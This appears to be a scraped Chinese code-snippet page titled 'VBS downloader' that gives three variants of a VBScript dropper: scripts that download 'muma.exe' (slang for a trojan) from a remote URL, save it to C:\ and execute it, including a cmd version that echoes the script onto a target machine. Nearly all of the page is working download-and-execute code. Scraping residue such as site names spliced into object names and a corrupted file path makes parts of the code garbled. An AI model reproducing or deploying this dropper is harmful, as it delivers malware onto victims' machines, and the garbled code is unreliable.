VBS下载者(通过vbscript实现文件下载)

一、VBS下载者：

复制代码 代码如下:

Set Post = CreateObject("Msxml2.XMLHTTP")

Set Shell = CreateObject("Wscript.Shell")

Post.Open "GET","http://www.jbzj.com/muma.exe",0

Post.Send()

Set aGet = Crea编程客栈teObject("ADODB.Stream")

aGet.Mode = 3

aGet.Type = 1

aGet.Open()

aGet.Write(Post.responseBody)

aGet.SaveToFile "YnhpbjhiZc:\zl.exe",2

wscript.sleep 1000

Shell.Run ("c:\zl.exe") '延迟过后执行下载文件

开发者_C学习二、cmd下执行的版本：

复制代码 代码如下:

echo Set Post = CreateObject("Msxml2.XMLHTTP") >>zl.vbs

echo Set Shell = CreateObject("Wwww.devze.comscript.Shell") >>zl.vbs

echo Post.Open "GET","http://www.jbzj.com/muma.exe",0 >>zl.vbs

echo Post.Send() >>zl.vbs

echo Set aGet = CreateObject("ADODB.Stream") >>zl.vbs

echo aGet.Mode = 3 >>zl.vbs

echo aGet.Type = 1 >>zl.vbs

echo aGet.Open() >>zl.vbs

echo aGet.Write(Post.responseBody) >>zl.vbs

echo aGet.SaveToFile "c:\zl.exe",2 >>zl.vbs

echo wscript.sleep 1000 >>zl.vbs

echo Shell.Run ("c:\zl.exe") >>zl.vbs

三、wget.vbs

复制代码 代码如下:

on error resume next

iLocal=LCase(Wscript.Arguments(1))

iRemote=LCase(Wscript.Arguments(0))

iUser=LCase(Wscript.Arguments(2))

iPass=L编程客栈Case(Wscript.Arguments(3))

set xPost=CreateObject("Microsoft.XMLHTTP")

if iUser="" and iPass="" then

xPost.Open "GET",iRemote,0

else

xPost.Open "GET",iRemote,0,iUser,iPass

end if

xPost.Send()

set sGet=CreateObject("ADODB.Stream")

sGet.Mode=3

sGet.Type=1

sGet.Open()

sGet.Write xPost.ResponseBody

sGet.SaveToFile iLocal,2

使用方法：cscript wge编程客栈t.vbs http://www.jbzj.com/muma.exe